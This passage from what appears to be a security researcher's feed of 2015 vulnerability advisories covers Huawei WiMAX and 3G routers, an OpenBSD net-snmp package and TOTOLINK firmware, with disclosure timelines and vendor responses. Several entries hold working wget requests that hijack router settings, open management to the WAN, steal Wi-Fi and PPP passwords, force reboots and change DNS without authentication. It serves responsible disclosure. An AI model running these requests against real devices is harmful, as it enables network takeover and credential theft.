<pre><code>root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_1; SecondMenu=User_1_1; ThirdMenu=User_1_1_1" --post-data='WWW_SID=SID24188&amp;REDIRECT=wlan.html&amp;SERVICE=wifi&amp;SLEEP=2&amp;WLAN_WifiEnable=1&amp;Wlan_chkbox=0&amp;WLAN_WirelessMode=9&amp;WLAN_Channel=0&amp;WLAN_SSID1=powned&amp;WLAN_HideSSID=0%3B0%3B&amp;WLAN_AuthMode=WPAPSKWPA2PSK%3BWPAPSKWPA2PSK%3B&amp;WLAN_EncrypType=TKIPAES%3BTKIPAES%3B&amp;WLAN_COUNTRY_REGION=1&amp;WLAN_Country_Code=1d&amp;WLAN_TXPOWER_NOR=13&amp;WLAN_MAXNUM_STA=16%3B16%3B&amp;WLAN_FragThreshold=2346&amp;WLAN_BeaconPeriod=100&amp;WLAN_RTSThreshold=2347&amp;WLAN_BssidNum=2&amp;WLAN_WscConfMode=7&amp;WLAN_WscAction=3&amp;WLAN_CountryCode=CI&amp;WLAN_WscPinCode=&amp;WLAN_TXRATE=0&amp;WLAN_HTBW=0&amp;WLAN_NTH_SSID=1&amp;WLAN_PinFlag=2' http://192.168.1.1/basic/mtk.cgi
</code></pre>
<p><strong>Opening the management interface:</strong></p>
<p>This request will open HTTP/HTTPS/TELNET/SSH in the LAN AND the WAN interfaces (you need to edit the WWW_SID, by the one provided in the <code>/wimax/security.html</code> webpage):</p>
<pre><code>root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1; ThirdMenu=User_2_1_0" --post-data='WWW_SID=SID24188&amp;REDIRECT=acl.html&amp;SERVICE=mini_httpd%2Cmini_httpsd%2Ctelnetd%2Cdropbear&amp;SLEEP=2&amp;HTTPD_ENABLE=1&amp;HTTPSD_ENABLE=1&amp;MGMT_WEB_WAN=1&amp;MGMT_TELNET_LAN=1&amp;MGMT_TELNET_WAN=1&amp;MGMT_SSH_LAN=1&amp;MGMT_SSH_WAN=1&amp;HTTPD_PORT=80&amp;httpslan=getValue%28&amp;HTTPSD_PORT=443&amp;TELNETD_PORT=23&amp;SSHD_PORT=22' http://192.168.1.1/basic/mtk.cgi
</code></pre>
<p>(The legit administrator can check the changes here: <code>http://192.168.1.1/advanced/acl.html</code>)</p>
<p><strong>Changing "DMZ action" - redirecting WAN ports to a target client located in the LAN</strong> (you need to edit the WWW_SID, by the one provided in the <code>/wimax/security.html</code> webpage):</p>
<pre><code>root@kali:~# wget --no-cookies --header "Cookie: LoginTimes=0:LoginOverTime=0; FirstMenu=User_2; SecondMenu=User_2_1; ThirdMenu=User_2_1_0" --post-data='WWW_SID=SID24188&amp;REDIRECT=dmz.html&amp;SERVICE=netfilter_dmz&amp;NETFILTER_DMZ_HOST=192.168.1.2&amp;NETFILTER_DMZ_ENABLE=1&amp;DMZInterface=InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANIPConnection.1&amp;DMZHostIPAddress=192.168.1.2&amp;DMZEnable=on&amp;TriggerPort=&amp;TriggerPortEnd=' http://192.168.1.1/advanced/user.cgi
</code></pre>
<p>(The legit administrator can check the changes here: <code>http://192.168.1.1/advanced/dmz.html</code>)</p>
<p>Other actions are possible and are left as an exercise for the reader:</p>
<ul>
<li>Editing PortMapping</li>
<li>Editing Porttrigger</li>
<li>Editing Sip configuration</li>
<li>Uploading a custom firmware</li>
<li>...</li>
</ul>
<h2>Vendor Response</h2>
<p>The vulnerable routers are in the End Of Service cycle and will not be
supported anymore.</p>
<p>The vendor encourages its clients to discard existing unsupported models
and to use new routers.</p>
<p><a href="http://www1.huawei.com/en/security/psirt/security-bulletins/security-notices/hw-464086.htm">Official Huawei Security Notice</a></p>
<h2>Report Timeline</h2>
<ul>
<li>Jul 01, 2015: Vulnerabilities found by Pierre Kim.</li>
<li>Oct 28, 2015: Huawei PSIRT is notified of the vulnerabilities.</li>
<li>Oct 28, 2015: Huawei PSIRT confirms the notification.</li>
<li>Nov 03, 2015: Huawei PSIRT is unable to reproduce the vulnerabilities ("We cannot open the following web pages without authentication")</li>
<li>Nov 03, 2015: Pierre Kim informs Huawei to desactivate JavaScript and gives Huawei a complete scenario with Linux commands. Pierre Kim asks their firmware version.</li>
<li>Nov 04, 2015: Pierre Kim asks Huawei about potential difficulties with the provided scenario.</li>
<li>Nov 05, 2015: Huawei PSIRT says that they are currently working on the firmware version issue and will notify in due course.</li>
<li>Nov 09, 2015: Huawei PSIRT confirms the vulnerabilities affecting EchoLife BM626e WiMAX CPE. "All the versions of this product are vulnerable".</li>
<li>Nov 09, 2015: Pierre Kim asks about 8 other Wimax models which are likely to be vulnerable too (using the same firmware) and asks about if security patches will be distributed or the devices are EoL.</li>
<li>Nov 11, 2015: Huawei PSIRT notifies the investigation of 8 other Wimax models is in progress.</li>
<li>Nov 18, 2015: Huawei PSIRT confirms 6 models are affected (EchoLife BM626 WiMAX CPE, EchoLife BM635 WiMAX CPE, EchoLife BM632 WiMAX CPE, EchoLife BM631a WiMAX CPE, EchoLife BM632w WiMAX CPE, EchoLife BM652 WiMAX CPE). The routers are in the End Of Service cycle and Huawei would not support these models or provide fixed version or patch.</li>
<li>Nov 18, 2015: Huawei PSIRT asks to be notified when the advisory is posted.</li>
<li>Nov 19, 2015: Pierre Kim contacts CERT.org about the vulnerabilities.</li>
<li>Nov 23, 2015: Cert.org assigns VU#406192.</li>
<li>Nov 30, 2015: Pierre Kim indicates to Huawei PSIRT that he will release the advisory the December 1, 2015.</li>
<li>Dec 01, 2015: A public advisory is sent to security mailing lists.</li>
</ul>
<h2>Credit</h2>
<p>These vulnerabilities were found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/2015-huawei-0x01.txt">https://pierrekim.github.io/advisories/2015-huawei-0x01.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2015-12-01-Huawei-Wimax-routers-vulnerable-to-multiple-threats.html">https://pierrekim.github.io/blog/2015-12-01-Huawei-Wimax-routers-vulnerable-to-multiple-threats.html</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/</p></content>
    </entry>
    
    <entry>
        <title>CVE-2015-8100 - OpenBSD package 'net-snmp' information disclosure</title>
        <link href="2015-11-12-CVE-2015-8100-OpenBSD-package-net-snmp-information-disclosure.html"/>
        <content type="html"><h2>Product Description</h2>
<p>Net-SNMP is a suite of applications used to implement SNMP v1, SNMP v2c and
SNMP v3 using both IPv4 and IPv6.</p>
<p>This software is available in OpenBSD as a port (<code>/usr/ports/net/net-snmp</code>).</p>
<h2>Vulnerabilities Summary</h2>
<p>By default, when OpenBSD package and ports are used, the snmpd configuration file
has weak permissions which allows a local user to retrieve sensitive information.</p>
<h2>Details</h2>
<p>By default the permissions of the snmpd configuration file in OpenBSD
are 0644 instead of 0600:</p>
<pre><code># cd /usr/ports/net/net-snmp
# make install clean
[...]
# ls -latr /etc/snmp/snmpd.conf
-rw-r--r--  1 root  wheel  6993 Nov  4 09:16 /etc/snmp/snmpd.conf
#
</code></pre>
<p>The same problem occurs when the provided package is installed with:</p>
<p><code>pkg_add http://ftp.spline.de/pub/OpenBSD/5.8/packages/i386/net-snmp-5.7.3p0.tgz</code>:</p>
<pre><code># ls -latr /etc/snmp/snmpd.conf
-rw-r--r--  1 root  wheel  6993 Nov  4 08:37 /etc/snmp/snmpd.conf
#
</code></pre>
<p>The snmpd configuration file is readable by a local user and contains the credentials
for read-only and read-write access (for SNMPv1, SNMPv2 and SNMPv3 protocols) and
gives a local user unnecessary/dangerous access:</p>
<pre><code>[...]

rocommunity public  default    -V systemonly
#rocommunity secret  10.0.0.0/16
rouser   authOnlyUser
#rwuser   authPrivUser   priv

[...]
</code></pre>
<p>This problem is OpenBSD-specific as the <code>/var/db/pkg/net-snmp-5.7.3p0/+CONTENTS</code> file confirms:</p>
<pre><code>@ts 1438958635
@sample /etc/snmp/snmpd.conf
</code></pre>
<p>Futhermore, by default, <code>/usr/local/sbin/snmpd</code> runs as root.</p>
<h2>Vendor Response</h2>
<p>This problem has been fixed in the -STABLE and -CURRENT packages.</p>
<h2>Report Timeline</h2>
<ul>
<li>Nov 04, 2015: Vulnerability found by Pierre Kim.</li>
<li>Nov 06, 2015: Stuart Henderson is notified of the vulnerability.</li>
<li>Nov 06, 2015: Stuart Henderson confirms the vulnerability and fixes the package permissions for the sample configuration file in -current and -stable.</li>
<li>Nov 06, 2015: Stuart Henderson re-activates an option (can be configured with rc.conf.local) to run net-snmp as a separate uid to improve security.</li>
<li>Nov 10, 2015: OSS-Security is contacted to get a CVE</li>
<li>Nov 10, 2015: cve-assign@mitre.org assigns CVE-2015-8100</li>
<li>Nov 12, 2015: A public advisory is sent to security mailing lists.</li>
</ul>
<h2>Credit</h2>
<p>This vulnerability was found by Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/advisories/CVE-2015-8100-openbsd-net-snmp.txt">https://pierrekim.github.io/advisories/CVE-2015-8100-openbsd-net-snmp.txt</a></p>
<p><a href="http://openports.se/net/net-snmp">http://openports.se/net/net-snmp</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p>
<h2>Complete advisory:</h2>
<pre><code>-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: OpenBSD package 'net-snmp' information disclosure
Advisory URL: https://pierrekim.github.io/advisories/CVE-2015-8100-openbsd-net-snmp.txt
Blog URL: https://pierrekim.github.io/blog/2015-11-12-CVE-2015-8100-OpenBSD-package-net-snmp-information-disclosure.html
Date published: 2015-11-12
Vendors contacted: Stuart Henderson, OpenBSD Package maintainer
Release mode: Released
CVE: CVE-2015-8100



## Product Description

Net-SNMP is a suite of applications used to implement SNMP v1, SNMP v2c and
SNMP v3 using both IPv4 and IPv6.

This software is available in OpenBSD as a port (/usr/ports/net/net-snmp).



## Vulnerabilities Summary

By default, when OpenBSD package and ports are used, the snmpd configuration file
has weak permissions which allows a local user to retrieve sensitive information.



## Details

By default the permissions of the snmpd configuration file in OpenBSD
are 0644 instead of 0600:

# cd /usr/ports/net/net-snmp
# make install clean
[...]
# ls -latr /etc/snmp/snmpd.conf
-rw-r--r--  1 root  wheel  6993 Nov  4 09:16 /etc/snmp/snmpd.conf
#

The same problem occurs when the provided package is installed with
`pkg_add http://ftp.spline.de/pub/OpenBSD/5.8/packages/i386/net-snmp-5.7.3p0.tgz`:

# ls -latr /etc/snmp/snmpd.conf
-rw-r--r--  1 root  wheel  6993 Nov  4 08:37 /etc/snmp/snmpd.conf
#

The snmpd configuration file is readable by a local user and contains the credentials
for read-only and read-write access (for SNMPv1, SNMPv2 and SNMPv3 protocols) and
gives a local user unnecessary/dangerous access:


[...]

rocommunity public  default    -V systemonly
#rocommunity secret  10.0.0.0/16
rouser   authOnlyUser
#rwuser   authPrivUser   priv

[...]

This problem is OpenBSD-specific as the /var/db/pkg/net-snmp-5.7.3p0/+CONTENTS file confirms:
@ts 1438958635
@sample /etc/snmp/snmpd.conf

Futhermore, by default, `/usr/local/sbin/snmpd` runs as root.



## Vendor Response

This problem has been fixed in the -STABLE and -CURRENT packages.



## Report Timeline

* Nov 04, 2015: Vulnerability found by Pierre Kim.
* Nov 06, 2015: Stuart Henderson is notified of the vulnerability.
* Nov 06, 2015: Stuart Henderson confirms the vulnerability and fixes the package permissions for the sample configuration file in -current and -stable.
* Nov 06, 2015: Stuart Henderson re-activates an option (can be configured with rc.conf.local) to run net-snmp as a separate uid to improve security.
* Nov 10, 2015: OSS-Security is contacted to get a CVE
* Nov 10, 2015: cve-assign@mitre.org assigns CVE-2015-8100
* Nov 12, 2015: A public advisory is sent to security mailing lists.



## Credit

This vulnerability was found by Pierre Kim (@PierreKimSec).



## References

https://pierrekim.github.io/advisories/CVE-2015-8100-openbsd-net-snmp.txt
http://openports.se/net/net-snmp



## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJWRKFEAAoJEMQ+Dtp9ky28Jq4P/iUv706dteWtl9HkPHkSVbql
yO8ZJGnJtEXX3SOR5OKd07rxwP4W1gIYJtLSTUfEk+91LRpP8ZNgDIMDG1pIKS5l
2S+6SQ+8yQXCcnm54KAc8DQM3tJHUp/RG8/6UR30V0v83ELnLmAX01BWOMEIvle2
N1cd59cPUZ4Qafee1p8wbyDWi1WBB1d89d7YKf3v78L34COTEBXPRLPs+DQCU7nD
vmGzsFKcNjr8Hr2pq9aQmNmmuE82GtuEk3e1OKR5Pe4uYWoEAuFJOnswFjABDSch
0wvWx1d6G2iOMwPIRLL+BXMgGzPpKB4KjgYPH/3OYJVXywKfEw0pBnu+Svb31/JV
MVnnw6+fuunOLe7GxrI4M5FE2JfMD4CUiarFHRK6I5XDJm1dsvTHIsJUwA+9FTTH
7kJY/xKHJ3YpjrKT2K2WAmvsJCTswkbvPr5LKNGgOLlUzVUetYo1hhGT6fo5ppQE
RMpWkpX1DGJ+5RzlcLhLqguznv/SVwAA78TwailvF28LW2kSHJDOIpUht2xRdQ2Q
JJZwcoO69qsterKF+UCcucWXDSjUjzI/Vrvm/aV+BAu4oKVG5QvVNplbHDYruLl5
9OMF1C5+z8GcQf27u1RG69VAOx66GnPFGTPUiaKfsgqfh3jEMJw3IlT1LBCAZao4
FXQizA+QOejXTiuHqYE9
=qkHs
-----END PGP SIGNATURE-----
</code></pre></content>
    </entry>
    
    <entry>
        <title>A comprehensive study of Huawei 3G routers - XSS, CSRF, DoS, unauthenticated firmware update, RCE</title>
        <link href="2015-10-07-Huawei-routers-vulnerable-to-multiple-threats.html"/>
        <content type="html"><h2>Product Description</h2>
<p>Huawei Technologies Co. Ltd. is a Chinese multinational networking and telecommunications equipment and services company.
It is the largest telecommunications equipment manufacturer in the world.</p>
<h2>Vulnerabilities Summary</h2>
<p>The Huawei B260A device is a 3g modem / access point overall badly designed with a lot of vulnerabilities. The device is provided by Orange Tunisia as a "Flybox". It's available in a lot of countries to provide Internet with a 3G network (Vodafone provides this device, for example). </p>
<p>The tests below are done using the last available firmware (firmware 846.11.15.08.115 - Feb 20 2013).</p>
<p>Note: This firmware seems to be used for these 14 Huawei devices (from http://192.168.1.1/js/u_version.js ) which, therefore, are likely to be vulnerable to the same threats:</p>
<ul>
<li>E960, WLA1GCPU</li>
<li>E968, WLA1GCYU</li>
<li>B970, WLA1GAPU</li>
<li>B932, WLB1TIPU</li>
<li>B933, WLB1TIPU</li>
<li>B220, WLA1GCYU</li>
<li>B260, WLA1GCYU</li>
<li>B270, WLA1GCYU</li>
<li>B972, WLA1GCYU</li>
<li>B200-20, WLB3TILU</li>
<li>B200-30, WLB3TILU</li>
<li>B200-40, WLB3TILU</li>
<li>B200-50, WLB3TILU</li>
<li>??, WLA1GCPU</li>
</ul>
<h2>Details - Cookies</h2>
<p>The Huawei B260A stores the administrator's account name and password in cleartext in a cookie (using base64),
which allows context-dependent attackers to obtain sensitive information by(1) reading a cookie file
and (2) sniffing the network for HTTP headers, and possibly (3) using unspecified other vectors. </p>
<p>The cookie is:</p>
<pre><code>Cookie: Basic=admin:base64(password):0
</code></pre>
<h2>Details - Authentication bypass</h2>
<p>Remote reboot without authentication:</p>
<pre><code>wget -qO- --post-data='action=Reboot&amp;page=resetrouter.asp' http://192.168.1.1/en/apply.cgi
</code></pre>
<p>Second remote reboot without authentication:</p>
<pre><code>wget -qO- --post-data='action=Apply&amp;page=lancfg.asp' 'http://192.168.1.1/en/apply.cgi'
</code></pre>
<p>Grab wifi password without authentication:</p>
<pre><code>wget -qO- 'http://192.168.1.1/js/wlan_cfg.js'|less
</code></pre>
<p>Get PPP passwords without authentication:</p>
<pre><code>wget -qO- 'http://192.168.1.1/js/connection.js'|grep -i 'var profile'
var profile = [["Orange TN","*99#","FIXME","FIXME","0","flyboxgp","1","","0",],[]];
</code></pre>
<p>Grab informations (wifi password, PPP passwords) without authentication:</p>
<pre><code>wget -qO- http://192.168.1.1/js/wizard.js
var current_profile_list = ["Orange TN","*99#","","","0","flyboxgp","1","",];
var profile = [["Orange TN","*99#","","","0","flyboxgp","1","",],[]];
var nv_wl_wpa_psk = "E56479874EB39DB3BC65D8374B";              /**/
var nv_wl_key1 = "";                    /**/
[...]
</code></pre>
<h2>Details - CSRF without authentication</h2>
<p>Change remote DNS without authentication: it allows an attacker to change the upstream DNS servers, so it will impact the clients served by the local dhcpd from the Huawei B260A:</p>
<pre><code>wget -qO- --post-data='lan_lease=86400&amp;dns_settings=static&amp;primary_dns=1.1.3.1&amp;secondary_dns=3.3.3.3&amp;lan_proto=dhcp&amp;dhcp_start=192.168.1.100&amp;dhcp_end=192.168.1.200&amp;lan_ipaddr=192.168.1.1&amp;lan_gateway=192.168.1.1&amp;lan_netmask=255.255.255.0&amp;action=Apply&amp;page=lancfg.asp' 'http://192.168.1.1/en/apply.cgi'
</code></pre>
<p>This can easily be done using a CSRF attack.</p>
<p>Apparently, there are CSRF everywhere (<em>EVERYWHERE</em>).</p>
<h2>Details - Remote DoS without authentication</h2>
<p>Remote DoS against the HTTP server without authentication:</p>
<pre><code>root@linux:~# telnet 192.168.1.1 80
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
x   
Connection closed by foreign host.
root@linux:~# telnet 192.168.1.1 80
Trying 192.168.1.1...
telnet: Unable to connect to remote host: Connection refused
root@linux:~
</code></pre>
<h2>Details - Firmware upload without authentication:</h2>
<p><a href="http://media.orange.tn/executable/maj_flyboxB260A.exe">The program (FMC tool) provided by Tunisia Telecom (from Huawei) to update the firmware sends udp packet to the broacast port 1280 udp</a>. The diag program running in the Huawei B260A replies by sending out information about the versions of the different components of the firmware. The updater tries to login using telnet (admin/admin) protocol to the modem in order to extract firmware versions (if the password is not admin, the update will continue and will work). Then the updater sends directly the files to the modem using 1280/tcp which will overwrite the MTD (Memory Technology Device, ie: flash storage) of the device without authentication:</p>
<p>By sniffing the packets:</p>
<p>1/ telnet connection from the official tool (with admin:admin credentials by default):</p>
<pre><code>HGW login: ......admin
Password: admin

No directory, logging in with HOME=/

BusyBox v0.60.0 (2013.02.20-03:27+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.
# nvram get cfe_version
# nvram get app_version
#
</code></pre>
<p>Even if the password is not 'admin', the updating process continues on port 1280/tcp.</p>
<p>2/ In the router, the diag program receives the data in port 1280/tcp, stores the data in files located in /tmp and then uses the <code>write</code> program in the router to overwrite the MTD.</p>
<p>No need to reverse, by using <code>top</code> in the router, we see the <code>write</code> process:</p>
<pre><code>1266 0         S    diagd 
1270 0         S    telnetd 
1822 0         R    write /tmp/uploadh1wNSR FWT  &lt;-- overwrites the MTD
</code></pre>
<p>write is a basic tool used to overwrite the mtdblock (<code>write /path/to/file device</code>, FWT for the MTD):</p>
<pre><code># write
usage: write [path] [device]
</code></pre>
<p>3/ After updating the firmware, you can login as admin/admin using the HTTP control panel and using telnet, allowing you to get a root shell.</p>
<p>This is a default behavior, as stated in the official documentation from the FMC tool:</p>
<pre><code>With this software, you can upgrade the Huawei FMC products in a very simple way.
This software supports the upgrade of five sub-modules, including BOOT of the router module,
APP of the router module, customized files of the router module, the wireless module,
and the dashboard software.
</code></pre>
<p><a href="http://media.orange.tn/executable/maj_flyboxB260A.exe">You can get the last firmware updater at this address</a></p>
<p>(Linux: <code>wget --user-agent="Mozilla" http://media.orange.tn/executable/maj_flyboxB260A.exe</code>)</p>
<p>Huawei doesn't provide directly firmwares for these devices, you have to download them from your ISP.</p>
<p>These ISPs use this router (from <a href="http://www.dlgsm.com/index.php?dir=/FLASH-FILES/HUAWEI/B_Series/B260a">http://www.dlgsm.com/index.php?dir=/FLASH-FILES/HUAWEI/B_Series/B260a</a> ):</p>
<ul>
<li>Argentina Claro</li>
<li>Argentina Movistar</li>
<li>Armenia Orange</li>
<li>Austria H3G</li>
<li>Austria Mobilkom</li>
<li>Brazil VIVO</li>
<li>Brazil CTBC</li>
<li>Jamaica C&amp;W JAMAICA</li>
<li>CTBC Brazil</li>
<li>Chile Entel</li>
<li>Croatia Vipnet</li>
<li>Danmark Hi3G</li>
<li>Ecuador CNT</li>
<li>Estonia Elisa Eesti</li>
<li>Germany E-Plus</li>
<li>Guatemala Tigo</li>
<li>JAMAICA C&amp;W</li>
<li>Jamaica Digicel</li>
<li>Kenya Orange</li>
<li>Mali Orange</li>
<li>Mexico Telcel</li>
<li>Niger Orange</li>
<li>Portugal Optimus</li>
<li>Portugal VDF</li>
<li>Roumania Vodafone</li>
<li>Slovak Telekom</li>
<li>Slovak Orange</li>
<li>Sweden HI3G</li>
<li>Sweden TELE2</li>
<li>Sweden Tele2</li>
<li>Tele2 Germany</li>
<li>Telia Sweden</li>
<li>Tunisia Orange</li>
</ul>
<p>From my research, it is possible to overwrite the default firmware with a custom one without authentication.</p>
<p>It is also possible to sim-unlock the device by sending packets to port 1280/udp.</p>
<p>As stated before, this firmware seems to be used for the below devices, so the devices are likely to be vulnerable to the same threats:</p>
<ul>
<li>E960, WLA1GCPU</li>
<li>E968, WLA1GCYU</li>
<li>B970, WLA1GAPU</li>
<li>B932, WLB1TIPU</li>
<li>B933, WLB1TIPU</li>
<li>B220, WLA1GCYU</li>
<li>B260, WLA1GCYU</li>
<li>B270, WLA1GCYU</li>
<li>B972, WLA1GCYU</li>
<li>B200-20, WLB3TILU</li>
<li>B200-30, WLB3TILU</li>
<li>B200-40, WLB3TILU</li>
<li>B200-50, WLB3TILU</li>
<li>??, WLA1GCPU</li>
</ul>
<h2>Vendor Response</h2>
<p>The vulnerable routers are in the End Of Service cycle and will not be supported anymore.</p>
<p>The vendor encourages people to discard existing unsupported models and to use new routers (B68L and B310).</p>
<p><a href="http://www1.huawei.com/en/security/psirt/security-bulletins/security-notices/hw-456466.htm">Official Huawei Security Notice</a></p>
<h2>Report Timeline</h2>
<ul>
<li>Aug 21, 2014: Vulnerabilities found by Pierre Kim.</li>
<li>Aug 24, 2015: Huawei PSIRT is notified of the vulnerabilities.</li>
<li>Aug 25, 2015: Huawei PSIRT confirms the notification.</li>
<li>Aug 28, 2015: Huawei PSIRT confirms the vulnerabilities affecting the B260a router. The B260a router is in the End Of Service cycle and Huawei would not support B260a or provide fixed version or patch. The B68L and B310, as a substitute for B260a, are not vulnerable for the issues mentioned above and welcome to use.</li>
<li>Aug 31, 2015: Pierre Kim asks if the other routers (E960, E968, B970, B932, B933, B220, B260, B270, B972, B200-20, B200-30, B200-40, B200-50) are vulnerable.</li>
<li>Sep 14, 2015: Huawei PSIRT confirms all the routers have been in the End Of Service cycle.</li>
<li>Sep 29, 2015: Huawei PSIRT asks to be notified when the advisory is posted.</li>
<li>Oct 05, 2015: Pierre Kim asks for a CNNVD entry.</li>
<li>Oct 05, 2015: Pierre Kim indicated he will release the advisory the Oct 07, 2015.</li>
<li>Oct 07, 2015: A public advisory is sent to security mailing lists.</li>
</ul>
<h2>Credit</h2>
<p>These vulnerabilities were found by Pierre Kim (@PierreKimSec).</p>
<h2>Greetings</h2>
<p>Big thanks to my friend Alexandre Torres.</p>
<h2>References</h2>
<p>https://pierrekim.github.io/advisories/2015-huawei-0x00.txt</p>
<p>https://pierrekim.github.io/blog/2015-10-07-Huawei-routers-vulnerable-to-multiple-threats.html</p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/</p></content>
    </entry>
    
    <entry>
        <title>TOTOLINK Update - How to NOT handle security issues</title>
        <link href="2015-08-13-TOTOLINK-how-to-NOT-handle-security-issues.html"/>
        <content type="html"><p>This post is an an update to:</p>
<ul>
<li><a href="http://seclists.org/fulldisclosure/2015/Jul/80">Backdoor and RCE found in 8 TOTOLINK router models</a></li>
<li><a href="http://seclists.org/fulldisclosure/2015/Jul/79">Backdoor credentials found in 4 TOTOLINK router models</a></li>
<li><a href="http://seclists.org/fulldisclosure/2015/Jul/78">4 TOTOLINK router models vulnerable to CSRF and XSS attacks</a></li>
<li><a href="http://seclists.org/fulldisclosure/2015/Jul/77">15 TOTOLINK router models vulnerable to multiple RCEs</a></li>
</ul>
<p>Totolink has released new firmwares on 2015-07-25 and also removed the old firmwares from their website.</p>
<p>The backdoor is still present in the new firmware images but it is not launched at the startup anymore.</p>
<p>You can check yourself by downloading the images and by using binwalk:</p>
<h2>Example with N300RH-V2:</h2>
<pre><code>$ wget -O 'TOTOLINK%20N300RH-V2.0.1_20150725.zip' 'http://www.totolink.net/include/download.asp?path=down/010500&amp;file=TOTOLINK%20N300RH-V2.0.1_20150725.zip'
$ 7z x TOTOLINK%20N300RH-V2.0.1_20150725.zip
[...]
$ binwalk -e *web
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            bzip2 compressed data, block size = 900k
309403        0x4B89B         LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
320182        0x4E2B6         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3414764 bytes
1274560       0x1372C0        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 2251972 bytes,  321 inodes, blocksize: 131072 bytes, created: Thu May  4 11:47:12 2006
$ cd _*/
$ 7z x *squashfs
Processing archive: 1372C0.squashfs

Extracting  bin
Extracting  dev
[...]
Everything is Ok
$ strings bin/skt | grep iptables
iptables -I INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
iptables -D INPUT -p tcp --dport 80 -i eth1 -j ACCEPT
$ tail -n 5 etc/init.d/rcS

# start web server
boa
#skt&amp;
</code></pre>
<p>They commented the <code>skt&amp;</code> execution in the <em>/etc/init.d/rcS</em>. The bin/skt backdoor is still there but not activated.
I encourage TOTOLINK users to audit next firmwares to make sure the backdoor is not reactivated by "error".</p>
<p>There are no security indications in the <a href="http://www.totolink.net/sub/news/board_content.asp?b_type=BOARD1&amp;idx=164">"Firmware Update Release Information"</a> and I don't want to waste my time to check if they patched the other security holes (RCE, XSS, CSRF ...) described here:</p>
<ul>
<li><a href="https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html">https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html</a></li>
<li><a href="https://pierrekim.github.io/blog/2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html">https://pierrekim.github.io/blog/2015-07-16-4-TOTOLINK-products-vulnerable-to-CSRF-and-XSS-attacks.html</a></li>
<li><a href="https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html">https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html</a></li>
<li><a href="https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html">https://pierrekim.github.io/blog/2015-07-16-backdoor-and-RCE-found-in-8-TOTOLINK-products.html</a></li>
</ul>
<h2>Totolink statement</h2>
<p>By the way, Totolink released a <a href="http://www.totolink.net/sub/news/board_content.asp?b_type=BOARD1&amp;idx=165">statement the 2015-07-30 saying that there are no backdoors in their routers and threatened to sue medias regarding "totally irresponsible behavior", stating my research contains "some unverified information"</a>:</p>
<pre><code> ZIONCOM (HK) Technology Ltd (ZIONCOM, the manufacturer of TOTOLINK Router), would like to make an
 official announcement regarding some inappropriately news report from network media that were totally
 irresponsible behavior for reporting some unverified information to damage our company reputation.

 1. TOTOLINK do not compromise user privacy and security, TOTOLINK
 product has not been installed any monitor software on user behavior after we verified all of our
 current inventory in Hong Kong market so it is impossible to monitor user behavior. ZIONCOM will
 reserve the right to take legal action against the media report on the wrong information broadcasting
 that may damage our company and product reputations.

 2. Regarding the problem of a default login password of a TOTOLINK
 router may trigger an invasion from hacker through remote control, we would like to recommend all users
 to change the default password at the first time login.We will make an announcement through our Global
 website ( http://www.totolink.net )  for launching new firmware update program for solving the bug soon.
</code></pre>
<p><strong>Note that some firmwares have apparently not been correctly updated.</strong></p>
<p>For example, the "this-is-a-feature-not-a-backdoor-executable" is <a href="http://www.totolink.net/include/download.asp?path=down/010500&amp;file=TOTOLINK%20N300RH-V3.0.0_20150331.zip"><strong>still activated</strong> in the latest N300RH-V3 firmware router (from the N300RH webpage)</a>.</p>
<p>You can check by yourself the "unverified information" by using the precedent commands: the file <em>/etc/init.d/rcS</em> still contains <code>skt&amp;</code> to execute the "this-is-a-feature-not-a-backdoor-executable" <code>/bin/skt</code> at startup):</p>
<pre><code>$ wget -O TOTOLINK%20N300RH-V3.0.0_20150331.zip 'http://www.totolink.net/include/download.asp?path=down/010500&amp;file=TOTOLINK%20N300RH-V3.0.0_20150331.zip'
$ sha256sum TOTOLINK%20N300RH-V3.0.0_20150331.zip 
3c12a38dfc8c72733f384ba206e9b21a37614ba77aba7f3433ed1ce9bd40cda4  TOTOLINK%20N300RH-V3.0.0_20150331.zip
$ 7z x TOTOLINK%20N300RH-V3.0.0_20150331.zip
[...]
Everything is Ok
$ binwalk -e *web
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
